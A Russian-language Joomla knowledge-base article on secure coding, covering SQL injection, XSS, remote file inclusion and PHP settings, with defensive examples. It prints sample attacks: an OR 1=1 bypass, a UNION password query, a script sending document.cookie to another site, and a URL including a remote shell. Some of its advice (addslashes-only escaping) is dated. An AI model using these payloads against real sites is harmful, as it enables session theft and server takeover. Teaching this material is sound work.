Действия

Безопасное программирование для Joomla

Материал из База знаний Joomla

Уязвимость SQL-Injection

Данная уязвимость возникает вследствие недостаточной проверки входных данных скриптом при занесении значений в базу данных или выборке из нее. Для СУБД типа Oracle со специальной системой подстановки значений данный тип уязвимости при использовании специальных функций вообще не опасен. А вот для MySQL при недостатке знаний о предотвращении такого рода атак результат может быть печален.

Итак, SQL-Injection это внедрение в SQL-запрос некоторых строк, которых в нем быть не должно. Например, пусть пользователь вводит свое имя, и мы хотим узнать – а есть ли такой пользователь вообще. Логично было бы составить следующий запрос:

$name = $_POST['name'];
$query = "SELECT count(*) FROM users WHERE name = '$name' ";

Если человек введет в поле, например, строку admin, то все пройдет гладко, мы вычислим, что пользователь такой есть. Но если же нам попадется ушлый пользователь, который немного смыслит в SQL, то он может вставить некие специальные символы, например, кавычки, и он вполне может, не зная реальных имен пользователей, сделать так, что бы запрос выдал что-то, отличное от нуля. Данный пример, конечно же, оторван от действительности, но на таком простом примере можно хорошо уяснить всю опасность, которую содержат в себе такого рода ошибки в приложениях и то, почему их надо избегать и предотвращать.

Пускай пользователь ввел в строку такие символы, что получился следующий запрос:

SELECT count(*) FROM users WHERE name = 'xxx' OR 1=1 /*'

Все что идет после первой кавычки и есть введенная строка. Логическое условие здесь уже составлено так, что даже при отсутствии пользователя xxx оно всегда будет выдавать истину (напоминаю, что символ /* имеет специальное значение в MySQL синтаксисе и означает комментарий, который можно не обрабатывать и пропустить).

Для предотвращения таких уязвимостей надо знать всего лишь два простых правила. Правило первое - все подставляемые в SQL-запрос выражения должны быть в кавычках, например в одинарных:

$query = "INSERT INTO table (name) VALUES ('$name')";

Правило второе – применение функцию addslashes для экранирования специальных символов в переменных, подставляемых в SQL-запросы. Вот тут существует один тонкий момент, связанный с такой настройкой языка PHP как magic_quotes_gpc. Данная конфигурационная переменная, будучи включена, включает автоматическое добавление слэшей (по сути, вызов функции addslashes) для всех входных переменных. Это иногда удобно, а иногда нет. Кроме того, необходимо учесть тот факт, что на некоторых серверах данная настройка включена, а на некоторых нет, а потому надеяться на нее нельзя и надо всегда самостоятельно добавлять слэши к специальным символам.

Общий алгоритм добавления слэшей такой – если данная настройка включена, то слэши не добавлять, а если выключена, то добавлять. К счастью, данную работу за нас делает Joomla и специальная функция mosGetParam. При ее использовании нам не надо заботиться о том – есть ли слэши или нет, безопасно ли вставлять данные в базу данных или нет. Если мы получаем переменные при ее помощи, то слэши там всегда будут - данные будут безопасны.

Но, необходимо заметить, что правило номер один было озвучено не зря, потому что само по себе экранирование специальных символов еще не предотвращает данный вид атак. Рассмотрим следующий пример:

$name = mosGetParam($_REQUEST,'name','');
$query = "SELECT id  FROM #__users WHERE name = $name";

Если в переменную $name мы занесем следующую, с точки зрения специальных символов совершенно безопасную строку:

$name = "admin UNION SELECT password FROM #__users WHERE  1 = 1"

То будет выполнен UNION-запрос, в котором помимо идентификатора пользователя будет получен его пароль. Здесь переменная $name в запросе никак не ограничена средствами языка SQL, поэтому такое и стало возможным. Именно поэтому и надо заключать подставляемое значение в кавычки, тогда выражение внутри переменной не будет восприниматься как часть запроса.

Безопасное использование функции mosGetParam и двух правил приведено ниже:

$name = mosGetParam($_REQUEST,'name','');
$value = mosGetParam($_REQUEST,'value','');
 
if ($name && $value) {
 
    $database->setQuery("INSERT INTO #__table (name,value) VALUES ('$name' , '$value') ");
    $database->query();
}

Так же очевидно, что первым параметром функции mosGetParam является массив, откуда берутся данные, вторым – ключ элемента массива, а третьим – значение по умолчанию, если данный ключ не будет найден.


XSS - уязвимость

XSS – довольно новый вид атак на веб-приложения, расшифровывающийся как X-Site Scripting, а по-русски "межсайтовый скриптинг". Данная уязвимость исходит опять же из плохой проверки входных, чаще всего пользовательских, данных. В данном случае опасны не кавычки и модификация SQL-запросов, а исполнение javascript-кода от имени другого пользователя, который чаще всего и не догадывается о его существовании.

Рассмотрим следующий пример: предположим, есть некий скрипт, принимающий на вход переменную msg и отображающий ее пользователю. Это может быть полезно для чисто информационных действий, когда пользователя необходимо о чем-то уведомить и его переправляют на этот скрипт, который красиво отображает заданное в качестве параметра сообщение, примерно так:

show_message.php?msg=Информация успешно сохранена

А сам скрипт выглядит примерно так (все упрощено для понимания сути действий):

echo $_REQUEST['msg'];

Вы можете спросить, а чем же опасна данная, вполне безобидная, конструкция. А я вам отвечу. Представим ситуацию, что это не просто отдельный скрипт, а скрипт в некой системе, предположим это компонент в Joomla. А раз мы работаем в системе, то появляются пользователи, имеющие разные уровни доступа. Например, администраторы или гости сайта.

Во-вторых, необходимо вспомнить, что вся аутентификация пользователей в web-приложениях, а в частности и в Joomla, на данный момент строится на основе cookies – специальных маленьких файлов, предназначенных для хранения неких ключей, идентифицирующих пользователя. Хранятся они на пользовательских компьютерах, и в нормальной ситуации один пользователь ни за что не сможет прочитать cookies другого пользователя и получить его права, записав себе эти самые ключи доступа.

Но, как только появляется XSS-уязвимость, появляется и возможность одному пользователю “стать” другим, действовать от его имени. Чаще всего XSS-атаки развиваются по двум сценариям:

  • Кража cookies, что бы представиться данным пользователем и от его имени совершить привилегированные действия (например, удаление важной информации)
  • Написание javascript-кода, который сам в браузере жертвы переходит по нужным адресам, отправляет данные и совершает действия вместо данного пользователя.

Самым важным ключевым моментом данного рода атак является то – можно ли заманить, в данном случае, администратора на ссылку, содержащую вредоносный для него код. Например, в приведенном выше примере, можно взять и показать всем посетителям сайта следующий скрытый фрейм, и вполне возможно, что среди этих посетителей окажется и администратор (способы могут быть самыми разными – от публикации комментария, до простой стать на другом сайте, на которую гарантированно зайдут данные пользователи).

<iframe src='сайт.ру/how_message.php?msg=<script>alert(document.cookie)</script>' width=1 height=1></iframe>

Дело в том, что все что мы передали на вход переменной msg без изменений будет выведено скриптом пользователю, и в теле страницы появится код, который покажет окошко с cookies пользователя – жертвы. Но это самый безобидный вариант, показывающий лишь возможность проведения такого типа атак. Если чуть-чуть улучшить его, то можно вполне передать на вход скрипту следующий код:

<script>
document.write(“<iframe src='другой_сайт.ру/save_cookie.php?cookie=" + document.cookie + "' ></iframe>”);
</script>

Здесь уже все гораздо опаснее. Вредоносный код создает еще один маленький фрейм, источником которого является, скорее всего, его же скрипт, на другом сервере, предназначенный лишь для того, что бы сохранять cookies всех пользователей, посетивших данную страницу.


Уязвимость Remote File Inclusion

Данная глава появилась здесь, дабы предостеречь начинающих разработчиков от ошибок, которые допускали их коллеги в прошлом. Использование данной уязвимости возможно лишь при включенных параметрах register_globals и allow_url_fopen и представляет собой фактическую подмену какой-либо системной переменной Joomla, которой уязвимый код должен доверять. Плохой код, подверженный такой уязвимости это чаще всего один из файлов компонента который содержит в себе, например, часто используемые действия по подключению файлов конфигурации или чтению каких-либо важных для компонента параметров. Пусть этот файл ("preload.php") выглядит так:

<?PHP
 
include($mosConfig_absolute_path.’/components/com_photo/settings.php’);
include($mosConfig_absolute_path.’/components/com_photo/data.php’);
 
class …
 
?>

И в главном файле компонента мы, дабы облегчить его просмотр, либо просто разгрузить его визуально, выделили такие рутинные операции в один файл, и подключаем его:

<?PHP
 
…
 
include(“preload.php”);
 
?>

Вроде бы, использование такого подхода не может принести нам неприятностей. Но не все так просто на первый взгляд. Неприятности возможны, если злоумышленник знает структуру файлов компонента и на хостинге включены параметры register_globals и allow_url_fopen. Тогда он может вызвать на исполнение не компонент, а один из его файлов – в частности наш файл помощник. Например так:

http://сайт.ру/components/com_photo/preload.php?mosConfig_absolute_path=http://сайт.с.вредоносным.кодом/shell-скрипт.txt

Интерпретатор языка PHP, который будет исполнять код файла preload.php увидит, что требуется включить в текущий файл некий файл, путь которого начинается с адреса злоумышленника и, по сути, содержит в себе shell (почти командную оболочку) для исполнения различных, нужных взломщику команд, но уже на сервере жертвы. И исполнит его.

Выход из данной ситуации один – использовать специальную константу _VALID_MOS. Дело в том, что Joomla при старте инициализирует специальную константу. И если файл был запущен в контексте Joomla (а не отдельно, как в рассматриваемом и потенциально опасном случае), то, проверив существование такой константы (ибо злоумышленник при всем желании не сможет ее создать, максимум что он может – подменить переменные) можно узнать – включается ли данный файл во время работы Joomla и стоит ли исполнять код, расположенный в нем.

Пример использования приведен ниже:

<?
 
defined('_VALID_MOS') or die("PREVED MEDVED");
 
…
//код, который может быть исполнен только во время работы Joomla
 
?>


Общие вопросы безопасного программирования на PHP

Ниже я попытаюсь пояснить общие моменты, которые должен знать любой человек, программирующий на языке PHP. Непосредственно Joomla они не касаются, но о них стоит помнить в любом случае.

  • Параметр register_globals – существует множество литературы, где черным по-белому некоторые авторы пишут, что данный параметр влияет на безопасность кода. Нет. На безопасность кода влияют исключительно программисты, которые не знают о том, как нужно писать скрипты. Данный параметр всего лишь включает регистрацию супер-глобальных переменных в качестве полноценных переменных языка PHP. Да он устарел, но большое количество кода, который нельзя игнорировать могут работать только при его включении в конфигурации.
  • Параметр error_reporting – пишите свои компоненты только при его значении E_ALL. Вы должны видеть все предупреждения. Они на самом деле облегчают процесс создания компонентов и могут предостеречь от кода, который может быть уязвим. Естественно, на рабочем сайте ошибки показывать не нужно, но вот выпускать компоненты, которые при своей работе показывают кучу предупреждений нельзя.
  • Использование скрытых полей – очень распространенный прием передачи каких-либо данных. Единственный совет который я могу дать в данном случае – не доверяйте этим данным, их легко можно подделать.